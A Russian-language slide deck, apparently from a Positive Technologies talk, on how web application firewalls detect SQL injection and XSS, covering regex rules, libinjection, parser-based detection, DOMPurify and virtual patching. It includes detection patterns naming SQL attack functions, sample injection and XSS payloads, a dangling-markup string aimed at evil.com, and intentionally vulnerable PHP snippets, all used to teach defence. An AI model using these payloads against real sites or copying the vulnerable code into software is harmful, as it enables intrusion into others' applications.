  95. 95. ЗаголовокЛексический подход SQL Injection # Detect SQL Comment Sequences (/*!?|*/|[';]--|--[srnvf]|(?:--[^-]*?-)|([^-&])#.*?[srnvf]|;?x00) # SQL Hex Evasion Methods (?i:(?:A|[^d])0x[a-fd]{3,}[a-fd]*)+ # String Termination/Statement Ending Injection Testing (^["'`´’‘;]+|["'`´’‘;]+$) # SQL Operators (?i:(!=|&&||||>>|<<|>=|<=|<>|<=>|bxorb|brlikeb|bregexpb|bisnullb)|(?:nots+betweens+0s+and)|(?:iss+null)|(likes+ null)|(?:(?:^|W)in[+s]*([sd"]+[^()]*))|(?:bxorb|<>|rlike(?:s+binary)?)|(?:regexps+binary)) # SQL Tautologies (?i:([s'"`´’‘()]*?)b([dw]++)([s'"`´’‘()]*?)(?:(?:=|<=>|r?like|soundss+like|regexp)([s'"`´’‘()]*?)2b|(?:!=|<=|>=|<>|<|>|^|iss +not|nots+like|nots+regexp)([s'"`´’‘()]*?)(?!2)([dw]+)b)) # Detect DB Names (?i:(?:m(?:s(?:ysaccessobjects|ysaces|ysobjects|ysqueries|ysrelationships|ysaccessstorage|ysaccessxml|ysmodules|ysmodules2|db)|ast er..sysdatabases|ysql.db)|s(?:ys(?:.database_name|aux)|chema(?:W*(|_name)|qlite(_temp)?_master)|d(?:atabas|b_nam)eW*(| information_schema|pg_(catalog|toast)|northwind|tempdb))
  96. 96. ЗаголовокЛексический подход SQL Injection (?i:b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_u ser|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4|ipv6|not_null|not|null|used_lock))?|n(?:et6?_ (aton|ntoa)|s(?:ert|tr)|terval)?|f(null)?)|u(?:n(?:compress(?:ed_length)?|ix_timestamp|hex)|tc_(date|time|timestamp)|p(?:datexml|per)|uid(_short)?|ca se|ser)|l(?:o(?:ca(?:l(timestamp)?|te)|g(2|10)?|ad_file|wer)|ast(_day|_insert_id)?|e(?:(?:as|f)t|ngth)|case|trim|pad|n)|t(?:ime(stamp|stampadd|stamp diff|diff|_format|_to_sec)?|o_(base64|days|seconds|n?char)|r(?:uncate|im)|an)|m(?:a(?:ke(?:_set|date)|ster_pos_wait|x)|i(?:(?:crosecon)?d|n(?:ute)?)| o(?:nth(name)?|d)|d5)|r(?:e(?:p(?:lace|eat)|lease_lock|verse)|o(?:w_count|und)|a(?:dians|nd)|ight|trim|pad)|f(?:i(?:eld(_in_set)?|nd_in_set)|rom_(bas e64|days|unixtime)|o(?:und_rows|rmat)|loor)|a(?:es_(?:de|en)crypt|s(?:cii(str)?|in)|dd(?:dat|tim)e|(?:co|b)s|tan2?|vg)|p(?:o(?:sition|w(er)?)|eriod_(ad d|diff)|rocedure_analyse|assword|i)|b(?:i(?:t_(?:length|count|x?or|and)|n(_to_num)?)|enchmark)|e(?:x(?:p(?:ort_set)?|tract(value)?)|nc(?:rypt|ode)|lt) |v(?:a(?:r(?:_(?:sam|po)p|iance)|lues)|ersion)|g(?:r(?:oup_conca|eates)t|et_(format|lock))|o(?:(?:ld_passwo)?rd|ct(et_length)?)|we(?:ek(day|ofyear)?|ig ht_string)|n(?:o(?:t_in|w)|ame_const|ullif)|(rawton?)?hex(toraw)?|qu(?:arter|ote)|(pg_)?sleep|year(week)?|d?count|xmltype|hour)W*(|b(?:(?:s(?:ele ctb(?:.{1,100}?b(?:(?:length|count|top)b.{1,100}?bfrom|fromb.{1,100}?bwhere)|.*?b(?:d(?:umpb.*bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p _(?:sqlexec|sp_replwritetovarbin|sp_help|addextendedproc|is_srvrolemember|prepare|sp_password|execute(?:sql)?|makewebtask|oacreate)|ql_(?:longv archar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|terminate|xp_servicecontrol|xp_nts ec_enumdomains|xp_terminate_process|e(?:xecresultset|numdsn)|availablemedia|loginconfig|cmdshell|filelist|dirtree|makecab|ntsec)|u(?:nionb.{1,10 0}?bselect|tl_(?:file|http))|d(?:b(?:a_users|ms_java)|eletebW*?bfrom)|groupb.*bbyb.{1,100}?bhaving|open(?:rowset|owa_util|query)|loadbW* ?bdatab.*binfile|(?:n?varcha|tbcreato)r|autonomous_transaction)b|i(?:n(?:tobW*?b(?:dump|out)file|sertbW*?binto|nerbW*?bjoin)b|(?:f(?: bW*?(W*?bbenchmark|nullb)|snullb)W*?()|printbW*?@@|castbW*?()|c(?:(?:ur(?:rent_(?:time(?:stamp)?|date|user)|(?:dat|tim)e)|h(?:ar( ?:(?:acter)?_length|set)?|r)|iel(?:ing)?|ast|r32)W*(|o(?:(?:n(?:v(?:ert(?:_tz)?)?|cat(?:_ws)?|nection_id)|(?:mpres)?s|ercibility|alesce|t)W*(|llationW* (a))|d(?:(?:a(?:t(?:e(?:(_(add|format|sub))?|diff)|abase)|y(name|ofmonth|ofweek|ofyear)?)|e(?:(?:s_(de|en)cryp|faul)t|grees|code)|ump)W*(|bms_ w+.b)|(?:;W*?b(?:shutdown|drop)|@@version)b|butl_inaddrb|bsys_contextb|'(?:s(?:qloledb|a)|msdasql|dbo)'))
  97. 97. Заголовок Регулярные выражения – определение языка атак Правила – определение контекста и логики Правила • Условия • Ограничения • Контекст • Источники • Корреляции • Реакции Правила
  98. 98. ЗаголовокПример правил CloudFlare WAF Anonymous Attack rule 1234567A Simple POST botnet REQUEST_METHOD is POST and REQUEST_URI is /q deny rule 12345679 Anonymous attack REQUEST_METHOD is GET and REQUEST_URI begins /?msg=Nous%20sommes%20Anonymous deny Simple POST Botnet
  99. 99. ЗаголовокПример правил: NAXSI SQL injection ## Hardcore rules MainRule "str:/*" "msg:mysql comment (/*)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1003; MainRule "str:*/" "msg:mysql comment (*/)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1004; MainRule "str:|" "msg:mysql keyword (|)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1005; MainRule "str:&&" "msg:mysql keyword (&&)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:8" id:1006; ## end of hardcore rules MainRule "str:--" "msg:mysql comment (--)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1007; MainRule "str:;" "msg:semicolon" "mz:BODY|URL|ARGS" "s:$SQL:4,$XSS:8" id:1008; MainRule "str:=" "msg:equal sign in var, probable sql/xss" "mz:ARGS|BODY" "s:$SQL:2" id:1009; MainRule "str:(" "msg:open parenthesis, probable sql/xss" "mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1010; MainRule "str:)" "msg:close parenthesis, probable sql/xss" "mz:ARGS|URL|BODY|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1011; MainRule "str:'" "msg:simple quote" "mz:ARGS|BODY|URL|$HEADERS_VAR:Cookie" "s:$SQL:4,$XSS:8" id:1013; MainRule "str:," "msg:comma" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1015; MainRule "str:#" "msg:mysql comment (#)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1016; MainRule "str:@@" "msg:double arobase (@@)" "mz:BODY|URL|ARGS|$HEADERS_VAR:Cookie" "s:$SQL:4" id:1017;
  100. 100. Заголовок • Использует бальную систему (scoring) • Не использует сигнатуры Пример правил: NAXSI
  101. 101. ЗаголовокПример правил: ModSecurity Heuristic Checks # # -=[ Heuristic Checks ]=- # # [ Repeatative Non-Word Chars ] # # This rule attempts to identify when multiple (4 or more) non-word characters are repeated in sequence # SecRule ARGS "W{4,}" "phase:2,capture,t:none,t:urlDecodeUni,block,id:'960024',rev:'2',ver:'OWASP_CRS/2.2.9',maturity:'9',ac curacy:'8',msg:'Meta-Character Anomaly Detection Alert - Repetative Non-Word Characters',logdata:'Matched Data: %{TX.0} found within %{MATCHED_VAR_NAME}: %{MATCHED_VAR}',setvar:tx.anomaly_score=+%{tx.warning_anomaly_score},setvar:'tx.msg=%{rule.msg}',setva r:tx.%{rule.id}-OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION-%{matched_var_name}=%{tx.0}"
  102. 102. ЗаголовокПример правил: PT AF Reflected File Download { "rule": { "and": [ { "REQUEST_URI": { "regex": "(?:/[^?/]+.(?:bat|cmd|ps1|wsf|sh|wsh|hta|vbs|vbe)(?:;[^?/]*)??)|?.+=.*(?:(?:ActiveXObject|CreateObject|Exec)((? :x22|')|((?:'|x22)WScript.Shell)" } }, { "RESPONSE_HEADERS;content-disposition": { "itext": "attachment" } } ] } }
  103. 103. Заголовок Лексико-сигнатурный подход
  104. 104. Заголовок Предложил Nick Galbreath в 2012 для обнаружения SQL-инъекций Позднее данный подход был адаптирован для обнаружения XSS Реализован в библиотеке libinjection Основные идеи • Токенизация в соответствии с универсальной грамматикой лексера в 3-х контекстах • Строится свертка токенов • Строка из первых пяти токенов ищется в базе сигнатур • База сигнатур строится по популярным векторам атак Лексико-сигнатурный подход
  105. 105. ЗаголовокПример input = 42" or "1"="1" -- 1
  106. 106. ЗаголовокПример input = 42" or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1
  107. 107. ЗаголовокПример input = 42" or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1 Токены ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string
  108. 108. ЗаголовокПример input = 42" or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1 ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string Токены 1s1s1s Сигнатура
  109. 109. ЗаголовокПример input = 42" or "1"="1" -- Context AS_IS = 42" or "1"="1" -- 1 ('1', '42'): number ('s', ' " or "'): string ('1', '1'): number ('s', ' "=" '): string ('1', '1'): number ('s', ' "--'): string Токены Сигнатура 1s1s1s
  110. 110. ЗаголовокПример input = 42" or "1"="1" -- 2
  111. 111. ЗаголовокПример input = 42" or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2
  112. 112. ЗаголовокПример input = 42" or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2 ('s', ' '42" or "1"="1" --'): string Токены
  113. 113. ЗаголовокПример input = 42" or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2 ('s', ' '42" or "1"="1" --'): string Токены s Сигнатура
  114. 114. ЗаголовокПример input = 42" or "1"="1" -- Context SINGLE_QUOTE = '42" or "1"="1" -- 2 ('s', ' '42" or "1"="1" --'): string Токены s Сигнатура
  115. 115. ЗаголовокПример input = 42" or "1"="1" -- 3
  116. 116. ЗаголовокПример input = 42" or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3
  117. 117. ЗаголовокПример input = 42" or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3 ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1" '): string ('c', '--'): comment Токены
  118. 118. ЗаголовокПример input = 42" or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3 Токены s&sos Сигнатура ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1" '): string ('c', '--'): comment
  119. 119. ЗаголовокПример input = 42" or "1"="1" -- Context DOUBLE_QUOTES = "42" or "1"="1" -- 3 Токены s&sos Сигнатура ('s', ' "42" '): string ('&', 'or'): logic operator ('s', ' "1" '): string ('o', '='): operator ('1', ' "1" '): string ('c', '--'): comment
  120. 120. Заголовок &(1)U &(1)o &(1o( &(1of &(1os &(1ov &(f() &(nof &(nos &(nov &(s)U Примеры сигнатур https://github.com/client9/libinjection/blob/master/src/fingerprints.txt
  121. 121. ЗаголовокФрагмент ядра libinjection libinjection: src/libinjection_sqli.c
  122. 122. ЗаголовокПример использования Shockfish: shockfish/protectors/sqli.py
  123. 123. Заголовок Ложные срабатывания • if all else fails call grandma • "Dr. Who" and coffee • "SWEATER DRESS" AND "CHRISTMAS” Пропуски • Неизвестные токены • Неизвестные контексты Недостатки Ivan Novikov. How to bypass libinjection in many WAF/NGWAF Reto Ischi. An Alternative Approach for Real-life SQLi Detecion
  124. 124. ЗаголовокНеизвестные контексты Michael Stepankin. Advanced Web Application Fuzzing
  125. 125. Заголовок Синтаксический подход
  126. 126. Заголовок Впервые применение парсеров для обнаружения инъекций было описано в работе Роберта Хансена и Мередит Паттерсон «Guns and Butter: Towards Formal Axioms of Input Validation» для Black Hat 2005 «Сontext-free parse tree validation» • По известным запросам приложения грамматика для SQL преобразуется в грамматику для subSQL • По построенной грамматике генерируется парсер • Парсер subSQL распознает только цепочки подъязыка SQL этого приложения Robert J. Hansen, Meredith L. Patterson. Guns and Butter: Towards Formal Axioms of Input Validation Синтаксический подход
  127. 127. Заголовок Ленивые – эвристическое использование готовых парсеров • DOMPurify • DOMSanitizer Грамматические • libdetection (Wallarm) • libdejection (PT AF, DBFW) • libprotection (PT AI) В идеале необходимо использовать парсеры целевых компьютерных систем, для предотвращения уязвимостей типа «parser differentials» Новые методы
  128. 128. Заголовок Строка s - инъекция для языка L(G), если в построенном дереве разбора s по грамматике G содержится хотя бы одна опасная инструкция • 11111 • alert(1) Базовая идея – с использованием готового парсера построить дерево разбора; если дерево разбора содержит запрещенные узлы-нетерминалы, то исходная строка является инъекцией Характеристики подхода • Возможность использования готовых парсеров • Универсальность • Эвристичность • Различимость парсеров Ленивый метод
  129. 129. ЗаголовокПример: DOM-based XSS http://ex.com/foo.html#1 var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>"); <script> var foo = 1; <script> Program ExpressionStatement Literal
  130. 130. ЗаголовокПример: DOM-based XSS http://ex.com/foo.html#1;alert(1) var input = location.hash.slice(1); document.write("<scr"+"ipt>var foo = "+ input +";</scr"+"ipt>"); <script> var foo = 1;alert(1); <script> Program ExpressionStatement Literal ExpressionStatement CallExpression Identifier Literal
  131. 131. Заголовок Запрещенные нетерминалы (опасные конструкции) в простейшем случае задаются перечнем типов узлов Для уменьшения числа ложных срабатываний могут быть использованы дополнительные проверки на основе родительских или дочерних узлов Что делать, когда дерево разбора не может быть построено? ""};alert(1);var f={t:" Поиск вредоносного кода
  132. 132. Заголовок Вход: строка S, контекст CTX Выход: является ли S инъекцией в контексте CTX? 1. Построить tokens – список токенов s в CTX 2. Построить дерево разбора для S в CTX 3. Если в дереве есть запрещенные узлы, то S – инъекция 4. Иначе удалить из S следующий токен 5. Если S – непустая строка, то перейти на шаг 2 Метод поиска с левым приведением
  133. 133. ЗаголовокAcorn Plugins function sanitize(dirty) { var acorn = require('acorn'), detected = false, tree ; acorn.plugins.detectCallExpression = function(parser) { parser.extend('finishNode', function(nextMethod) { return function(code, node) { if(node === 'CallExpression') { detected = true; } return nextMethod.call(this, code, node); } }) }; tree = acorn.parse(dirty, {plugins: {detectCallExpression: true}}); if (detected) { return 'xss'; } return dirty; } Acorn is designed support allow plugins which, within reasonable bounds, redefine the way the parser works. Plugins can add new token types and new tokenizer contexts (if necessary), and extend methods in the parser object
  134. 134. ЗаголовокEsprima Syntax Delegate function sanitize(dirty) { var esprima = require('esprima'), detected = false, tree; tree = esprima.parse(dirty, {}, function(node, meta) { if(node.type === 'CallExpression') { detected = true; } }); if (detected) { return 'xss'; } return dirty; } sanitize(';alert(1);var f={t:') // 'xss' A powerful feature available in Esprima since version 3.0 is the ability to invoke a callback function after every syntax node in the abstract syntax tree is created, often referred as the syntax delegate Ariya Hidayat. On-the-fly JavaScript Syntax Node Inspection.
  135. 135. ЗаголовокПример nodes = {CallExpression} input = "});alert(1);var f=({t:" context = " 1
  136. 136. ЗаголовокПример nodes = {CallExpression} input = "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} 2
  137. 137. ЗаголовокПример nodes = {CallExpression} input = "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = ""});alert(1);var f =({t:" parse(vector): Unexpected token (1:2) 3
  138. 138. ЗаголовокПример nodes = {CallExpression} input = "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = });alert(1);var f =({t:" parse(vector): Unexpected token (1:0) 4
  139. 139. ЗаголовокПример nodes = {CallExpression} input = "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = );alert(1);var f =({t:" parse(vector): Unexpected token (1:0) 5
  140. 140. ЗаголовокПример nodes = {CallExpression} input = "});alert(1);var f=({t:" context = " tokens = {"", }, ), ;, alert, (, 1, ), ;, var, f, =, (, {, t, :, "} vector = ;alert(1);var f =({t:" parse(vector): Program 6
  141. 141. ЗаголовокПример 7 Program EmptyStatement ExpressionStatement alert CallExpression … arguments 1 nodes = {CallExpression} vector = ;alert(1);var f =({t:"
  142. 142. ЗаголовокПримеры обнаруживаемых векторов http://friendfeed.com/api/feed/public?callback=var WshShell=new ActiveXObject("WScript.Shell");WshShell.Exec("calc");// Internet Explorer Reflected File Download Reflected XSS on developer.uber.com via Angular template injection ES6 alert`1` https://developer.uber.com/docs/deep- linking?q=wrtz{{(_="".sub).call.call({}[$="constructor"].getOwnPropertyDescript or(_.__proto__,$).value,0,"alert(1)")()}}zzzz
  143. 143. ЗаголовокТолерантность к ошибкам )},{0:prompt(1 Prompt.ml Challenge Hidden Level 4 function escape(input) { // You know the rules and so do I input = input.replace(/"/g, ''); return '<body onload="think.out.of.the.box(' + input + ')">'; } return '<body onload="think.out.of.the.box()},{0:prompt(1)">'; "… the solution might work for some older versions of Chrome, while for others, a different vector would be needed…"
  144. 144. ЗаголовокТолерантность к ошибкам nodes = {CallExpression} input = )},{0:prompt(1 Program ExpressionStatement SequenceExpression … ObjectExpressionIdentifier CallExpression name: x
  145. 145. Заголовок Используем толерантный к ошибкам парсер (Acorn loose parser) Это приводит к неизбежному росту числа ложных срабатываний • CallExpression: 123(1+1) Ограничиваются правила толерантности парсера Толерантность к ошибкам А. Перцев, Д. Колегов. Эвристический метод обнаружения DOM-based XSS с использованием толерантных синтаксических анализаторов
  146. 146. Заголовок Встроенное распознавание
  147. 147. ЗаголовокDOM и DOMParser DOMParser – интерфейс для парсинга и сериализации DOM var s = '<img src=1 "x" "y" onload="onload"="alert(1)" >'; var p = new DOMParser(); var d = p.parseFromString(s, 'text/html'); console.log(d.body.innerHTML); // IE 10 // <img onload="onload" src="1" "x"="" "y"="" ="alert(1)"=""> // FF // <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"=""> // Chrome // <img src="1" "x"="" "y"="" onload="onload" ="alert(1)"="">
  148. 148. Заголовок "DOMPurify is a DOM-only, super-fast, uber-tolerant XSS sanitizer for HTML, MathML and SVG" Адрес проекта https://github.com/cure53/DOMPurify Особенности • Точный механизм • Инструмент для разработчиков • Удаление вредоносного и запрещенного кода из HTML / MathML / SVG • Поддерживает механизм хуков DOMPurify
  149. 149. ЗаголовокDOMPurify DOMPurify: src/purify.js
  150. 150. ЗаголовокЧто может DOMPurify Предотвращать атаки XSS (в том числе для jQuery) var dirty = '<a>123<b>456<script>alert(1)</script></b></a>789'; var clean = DOMPurify.sanitize(dirty, {FORBID_TAGS: ['a', 'b']}); clean; //123456789 var dirty = '<img src=x name=createElement><img src=y id=createElement>'; var clean = DOMPurify.sanitize(dirty); clean; // "<img src="x"><img src="y">" var dirty = '<img src="http://evil.com/log.cgi?'; var clean = DOMPurify.sanitize(dirty); clean; // "" Предотвращать атаки DOM Clobbering Предотвращать атаки Dangling Markup Injection
  151. 151. ЗаголовокDOMPurify для WAF function isXSS(s) { var isClean = true; DOMPurify.sanitize(s); if (DOMPurify.removed.length > 0)) { return !isClean; } return isClean; } ε, dompurify.removed(x) ≠ 0 x, dompurify.removed(x) = 0 isXSS(x) =
  152. 152. ЗаголовокНормализация DOMSanitizer: src/sanitizer.js
  153. 153. Заголовок Виртуальный патчинг
  154. 154. Заголовок Виртуальный патч – то, что предотвращает использование обнаруженной уязвимости к атаке • SAST • DAST Особенности • Использование механизма правил, а не сигнатур • Возможно использование сложных алгоритмов защиты (CSRF, IDOR) Виртуальный патчинг Ryan Barnett. WAF Virtual Patching Challenge
  155. 155. Заголовок Знать как не должно быть: необходимые и достаточные условия наличия уязвимости Знать как есть: доказать наличие этих условий в анализируемом коде защищаемого приложения Устранить хотя бы одно из необходимых условий путем изменения исходного кода защищаемого приложения Как сгенерировать патч В. Кочетков. Автоматическая генерация патчей для уязвимого исходного кода
  156. 156. Заголовок Знать как не должно быть: необходимые и достаточные условия наличия уязвимости Знать как есть: доказать наличие этих условий в защищаемом приложении Сделать невозможным выполнение хотя бы одного из необходимых условий путем изменения запросов к защищаемому приложению Как сгенерировать виртуальный патч
  157. 157. Заголовок • Средствами xAST выполняется поиск уязвимостей веб- приложения • По найденным уязвимостям создается отчет • Отчет содержит перечень найденных уязвимостей и автоматически сгенерированные эксплойты • По полученным эксплойтам генерируются сигнатуры и итоговые правила виртуальных патчей Метод защиты
  158. 158. ЗаголовокПример 1: исходный код // page.php <?php $name = $_GET["name"]; ?> <html> <body> <div class="user"> <?php echo $name; ?> </div> </body> </html>
  159. 159. ЗаголовокПример 1: эксплойт // page.php <?php $name = $_GET["name"]; ?> <html> <body> <div class="user"> <?php echo $name; ?> </div> </body> </html> http://example.com/blog/page.php?name=<svg/onload=alert(1)> Эксплоит:
  160. 160. ЗаголовокПример 1: отчет { "path": "/blog/page.php", "source": "/opt/app/www/blog/page.php", "type": "XSS", "exploit": "rnGET /blog/page.php/id=<svg/onload=alert(1)> HTTP/1.1rnHost: example.comrn", "params": { "param": { "src": "REQUEST_GET_ARGS", "payload": "<svg/onload=alert(1)>", "name": "id", "dependencies": {"dependency": [ "%3C", "%3E" ]} }}}
  161. 161. ЗаголовокПример 1: правило { "and": [ { "REQUEST_PATH": "/blog/page.php" }, { "REQUEST_GET_ARGS:id": { "regex": "[<>]" } } ] }
  162. 162. ЗаголовокПример 2: исходный код // page.php <html> <body> <?php $name = $_GET["name"]; $type = $_GET["type"]; $decoded_name = base64_decode($name); if (!$decoded_name) { echo "Error during ".$type." processing."; } else { … } ?> </body> </html>
  163. 163. ЗаголовокПример 2: эксплойт http://example.com/blog/page.php?type=<svg/onload=alert(1)>&name=$1 Эксплоит: // page.php <html> <body> <?php $name = $_GET["name"]; $type = $_GET["type"]; $decoded_name = ads_decode($name); if (!$decoded_name) { echo "Error during ".$type." processing."; } else { … } ?> </body> </html>
  164. 164. Заголовок • Виртальный патчинг здесь неэффективен • Из-за неизвестного преобразования нет возможности сообщить WAF информацию о том, какие значения должны принимать оба параметра запроса для атаки • Более того, из-за неизвестного преобразования не сработают и все другие подходы Метод защиты
  165. 165. Заголовок Материалы
  166. 166. ЗаголовокКниги
  167. 167. ЗаголовокCopyrights В презентации использованы следующие материалы: В. Кочетков. Как разработать защищенное веб-приложение и не сойти с ума? Д. Колегов, А. Реутов. Waf.js: как защитить веб-приложение с помощью JavaScript. А. Петухов. Обзор ограничений современных технологий в области ИБ. I. Markovic. HTTP Parameter Contamination. I. Ristic. Protocol-Level Evasaion of Web Application Firewalls. Z. Su, G. Wassermann. The Essence of Command Injection Attacks in Web Applications. D. Kolegov, O. Broslavsky, N. Oleksov. White-Box HMAC S. Bratus, M. Patterson, etc. Security Applications of Formal Language Theory S. Bratus, M. Patterson, etc. A Taxonomy of LangSec Errors and How to Expunge Them
  168. 168. Заголовок ptsecurity.com Спасибо! Спасибо!

×